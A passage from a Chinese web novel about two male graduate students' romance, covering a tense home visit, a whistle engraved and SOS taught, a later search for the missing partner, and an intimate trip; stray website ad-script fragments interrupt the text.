童宽动作停住了,背慢慢直了起来,稍微离陈艾卅远了一些些,然后在他的惊讶之中,慢慢地、跨坐到了陈艾卅的腿上,然后伸手圈住了陈艾卅的肩膀,把脑袋也搁了上去,童宽的发梢蹭到了陈艾卅脸颊,在他耳边留下的话倒是很清晰。 “卅哥,我需要你的。”童宽轻轻在陈艾卅的脖颈上亲了一下,“很需要。” 这么主动的动作,是过去童宽从来没有的,还直接坦白地告诉了自己的被需要,陈艾卅的心一下就软了,他也伸手回抱住童宽,脸颊在童宽的头发上来回蹭了蹭,“我也很需要你。” 本来下午是打算直接和童宽去买点户外装备的,但转念一想,这些东西都不便宜,不能按照自己的生活习惯来,陈艾卅看了下时间,这会儿刚下午,家里头应该没人,就问童宽要不要先去他家里一趟,也不怪童宽的表情奇怪,任谁突然被邀请去男朋友家里坐坐,都会心里一咯噔。 “我不是那个意思。”陈艾卅笑着解释道,“就是我还有些多余的装备,你要不要先看看,户外装备都挺结实的,不容易坏,但也不便宜,没必要花冤枉钱。” “哦……”童宽点了点头,又抬头看向他,“去你家……方便吗?” 不问还好,一问陈艾卅嘴上的门栓就掉了,“那得看去我家干啥了。” “看、看装备啊?” 陈艾卅就捏了捏他的脸,“方便的。” 陈艾卅家里离学校其实不远,坐地铁的话也就七八站,他在有课的时候偶尔也会走读,读了研后课少了,反而更愿意呆在学校了,拿他自己的话说,就是哪儿人少往哪儿躲。但他始终不觉得自己是个不合群的人,就是总感觉和人群有些疏离感,越热闹的场合心里头越空,反而在寂静的荒郊野外的时候,才能真正将自己摊平展示给这个世界看。 回家的时候两个人在地铁里头站着,童宽拿着手机应该是在回复消息,陈艾卅好像突然参透了自己喜欢童宽的原因,见他的第一面,他就是安静的,看着他,就好像置身在森林里,可他又是特别的,童宽不是安静的树、也不是随风坠落的叶片,他是从树冠上漏下来的阳光,在清晨薄雾的作用下有了具体的形状。 陈艾卅的家在一个比较高档的花园洋房小区,里头都是十来层的小高层,楼间距很大,绿化覆盖尤其多,每两排楼还有个小门禁,两个人在楼底下站定的时候,童宽把住了陈艾卅的手。 “卅哥,真的方便吗?” 陈艾卅有些疑惑,但没问原因,“家里没人,方便的,你要是不想呆很久,我们随便拿一点就出来。” 童宽还是有些纠结,还是说了出来,“卅哥,我没有去过人家家里,不知道要怎么做。” 他这才反应过来他第一次就纠结的原因在哪里,可能是因为童宽平日里的表现没有一点违和,陈艾卅几乎都要忘了他是个孤儿,他连自己的家都没有,又怎么知道去别人家里要怎么做,但他不想表现得太明显,只是揉了揉童宽的头,告诉他和在宿舍里一样就行,不用太注意什么。 陈艾卅一直觉得和家里的羁绊不深,印象里初高中的时候父母很忙,基本都不会回家吃饭,但给陈艾卅的零花钱一直很足,因此在生活上一直不算太犯愁,家里没饭吃就自己出去吃,想要什么东西花钱就是了,有时候想买的东西金额大了点,他就会截个图发在家庭群里,也不说话,看他爸妈谁先给他转钱,往往都是他妈快一点儿。 陈艾卅的父亲陈昇青是超声医学科的医生,每天上班的时间还算固定,下了班后会和同事一起去打网球,母亲曲婷是一家集团公司的财务总监,原先月头月底忙一些,眼下公司准备上市,一大堆的财务资料等着弄,连吃饭上厕所都掐着点,索性就问公司要了个宿舍,工作日的时候也不回家,平时陈艾卅只能在家里碰到他爸,父子之前总是没什么话的,问两句就不再说什么了,反倒是他妈天天会在微信上问他,今天怎么样啊,工作找得如何,有没有自己想干的事情,这些车轱辘话次次都能说满微信的60秒,有的时候他刚点开听五秒就暂停了,然后回复个“妈我都好,挺顺利的,有消息跟你说”,这一句话总能应付掉大多数留言。 现在也只不过下午两三点的样子,陈艾卅带着童宽等电梯,两个人站在电梯面前,他看着拉丝金属面上的两个虚影,突然就想伸手把童宽勾过来,可他还是止住动作了,就是对着童宽抬了抬下巴,说:“你怎么离我这么远。” 童宽一脸疑惑,“远吗,卅哥?”说完了他就又往陈艾卅这边跨了一步,两人大概就隔着十来公分。 “远,还是远。”陈艾卅继续抱怨道。 正当童宽有些不知所措的时候电梯来了,陈艾卅从衣服兜里拿出了门禁在电梯里刷了一下,7楼的按钮就亮了,电梯门关得很快,门合上的时候,童宽就贴着陈艾卅站了,手臂贴着手臂,转过头仰着问:“够近了不?” 购近了么,自然是不够近的。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 陈艾卅一把揽过了童宽的肩膀,直到把人捞到怀里来,“至少得这样。” “卅哥你也太奔放了,以前都没觉得。” 出电梯的时候陈艾卅还是勾着他,笑着问他以前觉得自己是什么样的。 “大概就是帅……然后挺有亲和力的。” “现在不帅?没亲和力了?” “帅……亲和力比以前多了点就是。”童宽回答着。 陈艾卅把自家的智能锁的盖掀开了,大拇指贴了上去,门咔嗒就开了,两人对视着,陈艾卅把门拉开,“那你喜欢这样的我吗?” 童宽还没回答,两个人都愣了。 玄关这正好有个女的在套高跟鞋,长睫毛大波浪,还穿着贴身的连衣裙,衣服下身材姣好。 这明显不是陈艾卅的母亲,童宽看向陈艾卅的时候眼睛都瞪大了,但是他没说话。 陈艾卅觉得从胃里头泛起一股恶心,“我爸呢?” “我是来找陈老师讨教——” “我问你我爸呢?”陈艾卅的声音提高了一些。 “我先走了。”这女的穿好了鞋企图从门口离开,无奈陈艾卅和童宽都站在门口,她都没法出门。 这时候里头走出来了个人,虽然看起来已经不年轻了,但身材保持得很好,穿着T恤和短裤的样子,几乎就可以想象陈艾卅二十年后的模样,这应该就是他爸陈昇青没跑了,脸上一点慌乱都没有,反而对着陈艾卅说:“你让她先走吧,我和你聊。” 陈艾卅侧过了身体,让出了一条路,让那女的先走了。 童宽有点着急,看向了陈艾卅,小声问:“卅哥要不我也先走了?” “别走。”陈艾卅已经顾不上他爸的眼光了,直接抓过了童宽的手腕。 都坐到沙发上的时候,童宽几次三番想要去解手,可陈艾卅都没让,他知道那是童宽想留给他们父子俩空间,可他眼下真的没办法独自面对他爸,如果有必要的话,他真痛殴他爸一顿。 陈昇青的手机响了一下,他解锁看了一眼,就又把手机锁上了。 几个人又沉默了一会儿,陈昇青从茶几下面掏出来一包绿熊猫烟,抽出来一根点上了,眯了眯眼睛。 陈艾卅咬肌动了一下,开了口,“妈在家的时候你从来不抽烟。” “嗯,你妈不让。”陈昇青吐了口烟出来,淡淡地回答道。 “她是你学生?” “算是吧。” “多久了?” “不是你想的那样。” 他爸的回答让陈艾卅觉得无措,咬牙问出了下一个问题,“那还能是什么?” “我本来以为她真是来讨教问题的,”陈昇青把地上的垃圾桶拉到面前,弹了弹烟灰,“太年轻了,做事情不顾后果。” “你们发生了什么没有?”陈艾卅的声音有些颤抖了。 “什么都没发生,我让她回去好好反思了,”陈昇青又吸了一口,“我也不能毁了个刚毕业女孩的前途。” “你在说什么?” “她主动的,我没回应,我让她赶紧走的时候你正好回来了。”陈昇青看了他一眼,“就是这么巧。” 陈艾卅咽了口唾沫,他爸平时性子就冷,也就在他妈面前能出点动静,也许事实真的就是像他说的这样。 “她刚离开后给我发了个微信,小卅,”陈昇青的眼睛看向了童宽,“你们是什么关系?” 陈艾卅的心脏猛地跳了一下。 29. 求救 “叔叔你好,我是卅哥的学弟。”童宽捏紧了拳头,出口倒是利落。 “哦。”陈昇青应了一声,转头又问陈艾卅,“你今天怎么回来了?” “下周要进山里,回来拿点装备,看看缺什么再补齐。” “钱够吗?” “够了。” 陈昇青又看了童宽一眼,“那你们忙,我去睡了,昨晚值班了,一直忙到今天中午才回来,就不招呼你们了。” 话说完了,陈昇青就起了身往卧室的方向走去,陈艾卅还是有些疑惑,叫住了他,“爸。” “嗯?”陈昇青没回身,但是头转了过来,看向陈艾卅。 “刚刚那个女的……叫什么名字?” 陈昇青看了陈艾卅一眼,“你们俩走的时候跟我说一声。” 陈艾卅心里有些不舒服,但到底没发作,他爸的这个眼神,后半段直接落在童宽的身上,但还是什么都没说。 主卧的门阖上了,站在门外的两人都松了一口气。 童宽的表情有点焦急,“卅哥,我憋死了,洗手间在哪?” 陈艾卅这才回过神来,没有再去深究他爸和从他家里走的那个人的关系,带着童宽到洗手间门口,帮他开了门,又小声道了个歉,“抱歉,刚刚一直没让你去上洗手间,我怕我……” “我明白的,”童宽对着陈艾卅笑了一下,“我会做好你的安全绳,看好你不让你冲动。” 陈艾卅叹息了一声,欣慰地点了点头,“快去上厕所吧,我的房间在对面第二间,一会儿你上完了来找我。” 回到房间后,陈艾卅把自己放户外装备的那个橱柜打开,拿了抓绒衣、冲锋衣裤,又找了根登山杖出来,还有水壶、指南针、口哨,这些都有多的,等童宽回来之后,陈艾卅几乎都找得差不多了,就是童宽进来的时候脸色不太好,有点苍白。 “吃坏肚子了?”陈艾卅问他。 “应该不是,”童宽拧着眉毛回答,“刚刚可能太紧张了。” 陈艾卅了然,“对不起,我应该让你先走的,这种事情不应该拉着你。” “卅哥,你记性好差啊,”童宽走到了陈艾卅身边,捏了捏他的胳膊,“刚刚还说我是你的安全绳。” “是是是,我的安全绳,”或许那女的真的和他爸没发生什么,不然他爸怎么能那么淡定,思及至此,陈艾卅也慢慢放下了心,“绳绳,试试衣服吗,还是直接打包带走?” 童宽看着一地的户外装备,眼睛里露出了不少疑惑,一会儿问问陈艾卅这是干嘛的,一会儿又问问他那有什么用,拿到指南针的时候还捧在手心试探指得准不准,陈艾卅见他这个稀奇样儿,心里跟着松快了不少,于是递了个哨子给他,让他压着气儿吹吹看,还能不能响了,不能响的话就给他换一个。 荧光绿的哨子,在童宽白皙纤细的十指间特别明显,陈艾卅的注意力几乎都集中在了上面,哨子被拿起来了,放进了童宽淡粉色的薄唇间,他腮帮子有点鼓鼓的,但收着气没有用力吹,丝丝的声音从哨子里传出来,他对着陈艾卅惊呼,吹出来啦,陈艾卅也高兴,忍不住扬起了个嘴角对着他笑。 陈艾卅走到童宽的身边,拿过了这个荧光绿色的救生哨,又到桌前坐下,从放在桌上的收纳盒里拿出刻刀,在尾部认认真真地刻着,童宽也好奇,就走到了陈艾卅的旁边,低着头看他刻什么。 “这个哨太小了,刻全了不好看,就这样你看行吗?”他拿着救生哨递给了童宽。 在救生哨的尾端,有两个英文花体字,TK,童宽名字的缩写。 “也没问过你英文名叫什么,但这样一看就知道是你的哨子。” “我没有英文名,”童宽对着陈艾卅笑,“以后我就叫这个。”说着童宽打开了自己的微信,把昵称改成了TK,还炫耀似的拿给陈艾卅看,然后往门口那望了望,小小声说了一句,“我男朋友起的名,厉害吗?” 陈艾卅对着他点了点头,竖了个大拇指,童宽就先把这个救生哨放进了自己的口袋里。 “别的都好说,就是登山鞋得单买,”陈艾卅对着童宽眨了眨眼睛,“给个表现机会呗?” 童宽正坐在地板上研究登山杖呢,抬起了头一脸疑惑,“表现什么?” “我们家小孩儿挣钱挺厉害的,就是不知道能不能看上一双登山鞋作为礼物呢?” “卅哥你取笑我呢,”童宽说着,“哪里厉害了,明明马上要工作的是你。” “那你给不给我这个机会?”在维护童宽的自尊心这一点上,丝毫不马虎,如果童宽不同意,陈艾卅绝不会强加,他知道童宽有自己的坚持和骄傲。 “那……”童宽试探着问了句,“你买个不太贵的行不行?” “多少是不太贵啊,宽总?” “啊,财务那边只给批600的预算啊,能做到吗?” “行,只要我们宽总说话,小卅一定给你办到。” 俩人说着说着,脑袋就越靠越近,陈艾卅看到童宽的虎牙全露出来的时候,清了清嗓子,走到门边去关了门,走回来的时候直接把童宽的脸捧起来吻了下去,童宽的手抵住了陈艾卅的肩往外推着,陈艾卅就拉住了他的两只手往下放,像是诱惑一般地贴着童宽的唇说:“想亲你,就一会儿。” 童宽的手就放下去了,等陈艾卅真正亲过来的时候,又不自主地环住了陈艾卅的脖子抱紧了,两个人贴得太近了,几乎能感受到彼此越来越热的身体,他们在眩晕中感受对方的存在,又在真正沉沦之前清醒。 分开后,两人各自平息着气息。 陈艾卅舔了下嘴唇,又咽了口唾沫,看着童宽的眼睛火辣辣的,“不能再亲了。” 童宽深呼吸了一口,点了点头,又指了指房间门,陈艾卅就走过去把它打开了。 又收拾了一些物件后,陈艾卅把这些东西依次都放进了登山包里,还教着童宽怎么个先后顺序放能够节省空间,童宽一脸认真地记着,到最后感慨了出来,没想到户外有这么多学问,陈艾卅就对他挑了个眉梢,说学问大着呢,以后慢慢教给他。 陈艾卅忽然又问童宽要回了救生哨,对他说:“差点忘了,这个要先教给你。” “什么?”童宽一脸疑问。 “求救信号,”陈艾卅一脸认真地说,“虽然我会一直在你身边,但为了以防万一,一定要先学会这个。” 童宽也认真地点了点头。 “国际求救信号,SOS,三短、三长、三短,这么吹。得不到回应的话,一分钟循环一次。”说着陈艾卅就给他示范了一遍。 童宽拿过了救生哨,也学着陈艾卅的样子吹了起来,学得很快,一点没含糊,就是末尾的时候又给陈艾卅吃了颗定心丸,“卅哥,我会一直跟在你身边。” —— 还有一个多小时就到了,他看见东方的天空已经微微亮了起来,陈艾卅真的快坐不住 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,“戴师傅,下一个服务区换我吧,你也休息会儿。” “真的没问题?” “真没问题,”陈艾卅对着戴师傅扯了笑,“我带驾照了。” “行,那下一个服务区我们换人,咱也享受享受乘客的滋味。” 救生哨上的字母始终是童宽的微信昵称,他记得这个TK的分量,也记得那个第一次在他家里迫不及待的吻,但陈艾卅这会儿的担心都快堆到头顶上了,童宽后来醉心事业的样子,不知道出门的时候有没有带这个救生哨,也不知道他还记不记得求救信号。 想到这里,他顾不上时间尴尬,又给当地派出所打了个电话。 “警察同志,我是童宽的家属陈艾卅,我想起来了,他可能会携带一个荧光绿色的救生哨,也可能知道求生信号SOS的使用方式,还请代劳告诉搜救队的同志们,请他们密切关注哨声,可能他正在求救,请您一定转达。” 挂了电话后,陈艾卅才在反光镜里看到戴师傅的眼睛,他才想起来,一路过来,没跟他解释过什么,“我爱人……失踪了,在森林里,已经过了72个小时了。” “本来以为只是你媳妇闹脾气回老家寻死觅活的,倒真没想到是这个原因。” “不好意思啊,我……”陈艾卅有些说不下去。 “没事没事,客人的事情我们也一般很少打听。” “我也,”陈艾卅叹了口气,“不知道能不能找到他,更不知道他是死是活。” “抱歉啊,小伙子,我不太会安慰人,希望你能找到他,希望他活着。” 陈艾卅点了点头,又谢过了戴师傅。 刚刚想闭眼,陈艾卅的电话又响了,竟然是徐熠,他犹豫了一下,还是接了起来。 “喂?” “陈艾卅,我需要一个解释。” “解释什么。”陈艾卅用的是陈述句,对待徐熠,他总是没什么耐心。 “我他妈今天才知道,你把童宽弄丢了!” 陈艾卅无话可说,事实如此。 “他那么喜欢你,什么都为你考虑,你竟然跟他分手!?” “如果你是来骂我的,我照单全收,但我现在很累,不想和你多废话。” “就为了你一句让他离我远点,他公司在面临破产的时候,我打电话问过他要不要注资,他说不用了,”徐熠的声音在电话里很激动,“要不是今天有个他公司的开发跳槽到我们供应商那,我都不知道他失踪了。” 听着徐熠在电话里近乎叫喊的谴责,陈艾卅还是沉默。 “一个从来不说放弃的人,在有现成资金可以调动的情况下,直接拒绝了,”徐熠几乎骂了出来,“陈艾卅,你他妈毁了他!” “我操!”陈艾卅也骂了回去,“别在我这发疯,我他妈够烦的了!” “陈艾卅,你根本不配跟他在一起。” “这句话轮不到你跟我说,”陈艾卅的声音低了下去,“等我找到他,他想怎么样都行。” 徐熠突然冷静了下来,“你去找他了?” “嗯。” “你还算是个人。” 陈艾卅自嘲地笑了一声,“他公司那边有什么消息,你帮忙打听下,然后告诉我。还有相关债务,你问下林琦,也汇总给我,我这边有点钱,晚点打给你,帮忙处理下,先缓和一下账期。” “凭什么。” “凭他忽略了你,但爱了我七年。” 30. 一半 “我他妈欠你的。” “你欠的不是我,是童宽。” “我欠他的都不如欠你的在他眼里严重。” “别废话了,快处理一下,我现在分身乏术,”陈艾卅捏了捏眉心,“看看公司到底欠了多少钱,还有,他老城区里有一套房子,具体的你问一下林琦,有没有办过抵押,或者贷款有没有逾期,如果有的话就用你的资金先还了,晚点我把钱给你,那套房子不能拍卖。” “他有房子?”徐熠的声音透着疑惑,“有房子为什么不直接抵押或者卖了,也不至于破产清算。” “那他妈是我们的婚房,”陈艾卅都没耐心了,“别问了徐总,按照我说的做,我不想他回来了之后发现房子没了。” 徐熠在电话里沉默了一下,“童宽会回来的吧。” “会的,”陈艾卅被这种疑问都快折磨疯了,“快了,你抓紧处理了。” “陈艾卅,”徐熠的声音低沉了下去,“别让童宽后悔选择了你。” “徐熠,我再跟你说一百遍也是同样的话,”陈艾卅突然霸道了起来,“你根本不在选项里,童宽从来做的也不是选择题。” 徐熠直接把电话挂了,陈艾卅深深叹了口气,没过多久,徐熠又发了条微信过来。 “知道了,记得把童宽带回来。” 陈艾卅这才往后一仰,整个人几乎脱力了。 “你们年轻人情情爱爱的好激烈哟。”戴师傅看了一眼后视镜,扯了个笑出来,陈艾卅知道他只是想缓和下气氛。 “让你见笑了,戴师傅。”陈艾卅停顿了一下,不知道为什么他此刻特别想把这句话讲出来,这句话在和童宽恋爱前羞于启齿,在和童宽恋爱后无所畏惧的话,在和童宽相处的两千多个日夜里,渐渐化为日常的一句,他好像此刻才真正明白斯昀那句“做同性恋很辛苦的”到底是怎样的深意。本来就小众,也没有传承需求,如果不小心翼翼维护,恋爱感真的很容易不翼而飞。 “我的爱人……”陈艾卅脸朝着后视镜小了一下,“是个男孩子。” 戴师傅明显眼睛瞪大了一些,用力眨巴了几下后,才回了陈艾卅一个字,“噢……” —— “下个星期去的话,你的勤工俭学怎么办?断了要紧吗?”回到宿舍后,陈艾卅问童宽。 “我们也是可以请假的好吧,”童宽笑着答,“又不是黑童工。” “差不多了都,没人也不让你们坐着。” 童宽要忙,陈艾卅也在自己位置上拿了本书在那儿看。 可童宽坐在书桌前,明明敲着字陈艾卅却没听到键盘的声音,就回过头问了他一句,“你怎么敲键盘没声儿了?” 童宽没忍住笑了出来,“不习惯啊?” “嗯,有点儿。” “卅哥你真的好M哦。”小虎牙又出来了,看得陈艾卅心痒。 “是么,上次不知道谁抱得那么紧还让我再深点啊?” “不是我,”童宽狡辩,又立马换了话题,“我把键盘的轴换了,静音了就。” 陈艾卅皱了皱眉,“你们不都讲究什么,打击感么,换了之后能舒服吗?” “嗯,舒服的,这个键轴不伤手。” “舒服啊。”陈艾卅瞥了他一眼。 “卅哥,”童宽一边笑一边摇头,“你怎么跟个老流氓一样。” “我们家小孩儿太可爱了,”陈艾卅把头又转了回去,“不逗你了,你忙吧。” 陈艾卅的电话响了,是梁臣打来的,他和童宽说了声是梁臣之后,就跑到阳台上去接电话了,原来梁臣想和自己再核对一下出发前的事宜,一方面是给报名的同学前做出发前的安全告知,另一方面就是核对一下到了当地之后的流程。梁臣办事很细致,发过来的表格比陈艾卅之前准备的还要细,他没什么不放心的,就是梁臣最后支支吾吾的一句话,让陈艾卅一瞬间有点没反应过来。 “学长,那个,那到时候那个叫童宽的,我是不是不用具体安排?”梁臣问得挺试探的,但陈艾卅好像有点明白他到底想问什么。 “嗯,不用,他跟着我就行。”他也没戳穿,问什么答什么。 “林琦说,呃,上次看到你们牵着手,你们是,嗯……在一起了吗?” 陈艾卅眼睛睁大了一点,无声地笑了笑,这会儿承认得倒是直白痛快,“嗯,在一起了。” “完了。”梁臣直接泄了气,“他知道报名费要1000块,我跟林琦提过。” 陈艾卅皱了皱眉,没有接他的话,反而把话题转走了,“你跟林琦?是什么情况?” “我……单方面有情况,她不太理我。”梁臣干笑了两声。 “好好表现。”陈艾卅留了句话,两人又说了两句就把电话挂了。 本来自己小心翼翼守护着的秘密,经梁臣一说,好像倒成了童宽在暗暗维护他的浪漫,陈艾卅双手撑着阳台的不锈钢护栏,看着外面逐渐暗下去的天色,反复犹豫要不要向童宽坦白报名费的问题,可是左右也就500块钱,连童宽给自己买鞋的预算都没到,如果真的去说,童宽会不会瞎想些别的,还是就装这件事不清楚就好。 可是打开了阳台移门要进屋的时候,看到童宽努力在屏幕面前敲键盘的样子,陈艾卅突然觉得认真、坚毅、纯粹,这些形容人最高级别的词,用在童宽身上最好,他觉得自己不应该在任何情况下隐瞒童宽什么,于是下定了决心一般,走到了童宽的身边,然后蹲下,把手放在了童宽的手臂上。 “我想跟你坦白一件事,”陈艾卅抬着头看他,“希望你不要生气。” 童宽停下了手里的工作,对着陈艾卅微微笑了笑,“卅哥你说,我不生气。” “我……”可这话到了嘴边又不太好开口,他还是犹豫了一下,“报名费其实没有报销,我擅自给你垫付了500,本来想瞒着你的,但我觉得应该要和你说。” 意料之中,童宽只是点了点头,胳膊从陈艾卅的手里抽出来,又握上了陈艾卅的手掌。 “卅哥,我知道的。”童宽露了个狡黠的表情,“我以前打听过你们的活动,但从来就没听说过有报销什么的。” “挺坏啊,”陈艾卅对着他挑了个眉,“你怎么不拆穿我。” “我……”童宽抿了抿嘴,“也有私心的,想享受你对我的好,但我有记账,如果哪天我觉得不合适了,我会找机会把钱还给你。” “当男朋友就够还的了,”陈艾卅用手背蹭了蹭童宽的手,“不过我以后一定会事先告诉你,问过你之后再做决定。” 童宽点了点头,“卅哥,你这样好像一个对着家里人主动约法三章的男主人。” 陈艾卅听了这话,又补了一句,“你也是这个家里的男主人。” 这件本来打算瞒天过海的事就这么过去了,三两句话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,陈艾卅就对童宽坦白了,相应地,童宽也对陈艾卅说了实话,陈艾卅觉得对小孩的“真话教育”应该已经达到了一定的进步,以后要用更多的事实和经验来让他主动坦白。 其实陈艾卅想告诉童宽的原因很单纯,他不觉得自己比童宽强在哪里,更不觉得童宽不能扛事儿,相反地,他觉得童宽比他能扛得多,所以更不愿意因为一些金钱的原因伤害到他和童宽的感情。 在宿舍的时候,他俩除非有“正事”要做,其余时间很少睡在一张床上,一张90cm款的床,要放下两个青年男人,无论多瘦,还是会觉得拥挤,童宽的身体偏凉,陈艾卅又是火热的体质,有的时候抱在一起睡,童宽在半梦半醒间还会嘟囔热,陈艾卅就会自己往墙边退一退,可自己又会因为一沾上太冷的而打喷嚏。 晚上两个人就会有一搭没一搭地聊着,直到有一个人先睡着,每次几乎都是童宽先睡过去的,陈艾卅听着他的呼吸会感到安心,也入梦很快。 这星期陈艾卅把论文的最终版扔上了系统,辅导员也开始统计起了大家最后的离校时间,陈艾卅看着日历有些发愁,他的答辩时间在第二年年初,元旦假期后的第二天,他私下问了辅导员最后的离寝时间,但辅导员和他说,如果宿舍里有其他同学提前离寝的话,也会有新生加入进来,到时候混寝也是挺麻烦的,所以希望他们几个人都提前商量好,但是最后时间也顶多到寒假前一天了,之后如果答辩没过的话,就需要自己走读了。 说着说着,辅导员就开始对自己指指点点了,问陈艾卅拿没拿到Offer,她负责的研究生里就剩几个没拿到Offer的了,别浪着浪着把工作浪没了,陈艾卅就让班主任放心,他已经拿到了,只要论文顺利,他年后就可以领了证跑路了,辅导员这才放心了下来。 陈艾卅本来打算和自己寝室的兄弟们坦白恋爱了,想在学校多呆几天,可思前想后却发现也解决不了什么问题,他有个不太成熟的想法,公司离家里还是有点距离,他想要不直接在公司附近租一间小房子算了,可以解决上班距离问题的同时,还能有自己的空间,不至于想和童宽独处的时候无处可去,可童宽还在学校里,要他走读吗?是不是有些不合适。 今天童宽有组会,早早就出门了,陈艾卅看着斜对面空荡荡的床,感觉好像一涉及到毕业,心里头想的事情和方向都不一样了,平日里在学校不会思考的现实问题,一下子就到了眼前,他终于体会到了什么叫象牙塔。 其实他是羡慕童宽的,和自己相比较,童宽在大学里就早早地做好了未来的职业规划,甚至也早早地付诸了实践,甚至还告诉过自己他有自己想做的事情,在面临毕业问题上,童宽的方向比自己明确得太多。另外就是,童宽也很早地开始赚钱了,自己反而因为专注社团活动,而错失了很多实习机会,别说积蓄了,陈艾卅到目前为止,和大多数普通的研究生一样,还是要靠父母。 幸运的是,这样依靠的时间不会太久了。想到这里,陈艾卅甚至有些庆幸,自己不是太早和童宽认识,也不是太早和童宽开始,他甚至开始期待毕业后的日子,他终于可以依靠自己的双手,把童宽身上一些已经看似轻盈的负担,整理整理,然后掰一半过来,扛在自己肩上。 想到这里,陈艾卅笑着给童宽发了两条消息。 “组会结束了吗?别着急,我随口问问。” “也没什么事,就是想你。” 31. 天真 早上五点,陈艾卅和童宽就出发去机场了,行李箱在林子里起不到什么大作用,两个人就带了一个24寸的,必备的一些东西都装在随身而带的登山包里了。太早了,他们打车去的,在出发口要进站的时候,陈艾卅看着童宽背着的登山包,几乎占了他大半个人,觉着可爱,顺手就在他脑袋上撸了一把。 童宽的头发很软,颜色也不深,有一点淡淡的偏茶色,尤其在洗了澡之后,被阳光一照,发丝上几乎有珠光的色彩,陈艾卅之前就问过他,是不是小时候营养不良导致的发色,童宽就笑他一点都不科学,这明明是讲究遗传的问题,怎么都跟营养挂上钩了,他就笑笑点了点头,也不继续在这个话题上跟童宽说下去。 心疼童宽的感觉不是时时刻刻都有的,童宽正常得让人无法想象他是无父无母的孤儿,只是有些特定的时候,陈艾卅会感到心脏猛地一抽,疼得他几乎说不出话来,就好比那会儿,陈艾卅就没办法接着往下说,营养多好补啊,可遗传他的爸妈怎么补。之后每次揉他脑袋的时候,陈艾卅都希望手上能够给他染上一些墨色,他想把自己的颜色给他。 “卅哥?”童宽看着陈艾卅叫了一声。 他回过了神来,走过去自动牵起了他的手,“嗯?怎么了?” 没想到童宽拧着把自己的手抽了出来,对着陈艾卅憋着笑,“过安检啦,包要拿下来的。” “哦哦,好。” 过完了安检,陈艾卅又把童宽的手牵起来了,童宽抿着嘴,有些不好意思,陈艾卅就问他怎么了,他说机场人好多,他以前没来过,感觉这里的人比火车站走得更快,但好像来送行的人却没有火车站多。陈艾卅就耐心地问他,那是喜欢机场还是火车站,童宽假装没有听见,只是等人少了的时候,拽了一下陈艾卅的手,在耳边轻声说了一句,喜欢有卅哥的地方,陈艾卅的心都要化了。 两个人是一起托运的,柜台的航空地勤小姐姐抬头看了一眼他俩,陈艾卅十分坦然,童宽却有点紧张,直到小姐姐问了一句行李是一起托运还是分开,童宽有些没明白她的意思,就转过头去看陈艾卅,陈艾卅说一起,随便绑谁的登机牌都可以,小姐姐才低下了头,拿了登机牌后童宽没懂是什么意思。 “卅哥,刚刚她为什么要问是一起还是分开?” “她就是想知道我们是不是一块儿的。” “噢,我没懂她的意思。” 陈艾卅就捏了捏他的脸,“没事,回来的时候你来告诉他们,我们是一块儿的。” 童宽就点了点头,刚刚话里头可惜的意思就少了些。 到了候机厅,童宽先是跑着到了护栏边,笑得特别开心,他说他以前只见过飞机在天上的样子,就一巴掌大,他那时候好奇,怎么一巴掌大的东西,能发出这么大的声音,从头顶飞过的时候,好像空气里有个看不见摸不着的巨物从自己身边路过,除了能感觉到它的庞大之外,对它一点概念都没有,他说飞机看起来还是和照片上的有些不一样,说照片上的飞机都看起来很新,不像用过的样子,近距离看,几乎能看到机翼上的灰尘和螺丝。 他叙述的时候,陈艾卅就平静地看着他,像在看一个未经世事的孩子。孩子才有这样的纯真吧,笑得那么阳光、那么不设防。平时在机场只会在候机厅位置上坐着的陈艾卅,也忍不住站了起来,走到了童宽旁边,看他指着飞机说这说那。恰巧这时候有一架飞机正要起飞,童宽拍了拍自己的肩膀,说和他赶紧合张影,陈艾卅就配合他一起,两个人脑袋靠着脑袋,都比了个耶,拍完照的时候,这架飞机正好起飞。 童宽感叹道自己没看到飞机起飞,光顾着和陈艾卅合影了,陈艾卅就捏了一下他的鼻尖,告诉他这里是机场,两分钟就飞一架,能看到腻,童宽又笑了,拿脑袋顶在陈艾卅的胸口,也不知道是故意撒娇还是害羞,声音闷闷地说着有卅哥真好。 陈艾卅特意值机的时候选了个靠窗位置留给童宽,真正坐上飞机了,童宽眼睛瞪得大大的,窗外看看,又看看陈艾卅,紧张得先把安全带系得牢牢的,陈艾卅就笑着问他勒得难不难受,童宽说有点儿,他就伸手帮童宽松快了些,说不用那么紧张,童宽对着他点了点头,就继续转过去看窗外了,就是起飞离地的时候,童宽还是下意识地抓住了陈艾卅的手,轻声说他有点怕。 落地后陈艾卅并没有安排直接去赶火车,而是在当地找了家旅店住了一晚,就是童宽看到陈艾卅从包里拿出那些东西的时候笑得都快止不住了。 “卅哥,你怎么还带这些啊?” “……这么多天呢?” “就一个礼拜。” “那我,”陈艾卅拿起了盒子, “扔了?” “带都带了。” 陈艾卅瞥了他一眼,“不用也行,我放回去,当传家宝传下去。” “橡胶该化了,”童宽对他眨了眨眼,“还是用了吧。” “不用的话也行。” “……不行。” “不用行不行?” “……脏,”童宽顿了顿,“我去洗澡了。” 或许是这天的童宽实在太过天真可爱,听着浴室里的声音陈艾卅实在是忍不住了,敲了门就进了浴室,他几乎把童宽抵在了墙上一寸寸抵地吻过去,在线条拐弯处还忍不住舔舐轻咬,他总会在童宽仰着脖子皱眉的时候用力,因为这样童宽就会因为吃痛张开嘴唇,还会伴有像鹿鸣一样的呦咛。 陈艾卅发现,童宽最不习惯的角度就是俯视他,可他今天偏要臣服于他的小王子,他蹲下去贴近的时候,童宽惊呼了一声说不要,可是陈艾卅没有给他机会,借由着水汽和潮湿一遍一遍深吻,直到童宽两条腿都哆嗦得快站不住了,才撇开头。 他的脸被童宽弄到了,可还是在笑着,童宽一把抱住了陈艾卅的肩,好像要哭出来,他说卅哥不可以这样,陈艾卅就抱着他的背一遍遍安抚他说,没什么不可以,卅哥对着你,什么都可以。 这晚到底还是用上了陈艾卅带来的东西,可童宽主动爬到陈艾卅的身上却是第一次,夜里很凉,连月亮都被遮到了云的后面,屋子里暗得分辨不清方向,可陈艾卅却觉得在这个晚上,他托起了童宽的所有,连带着他的可爱、他的纯真、他的眼泪和他一声声不绝于耳的卅哥,都糅进了自己的心脏。 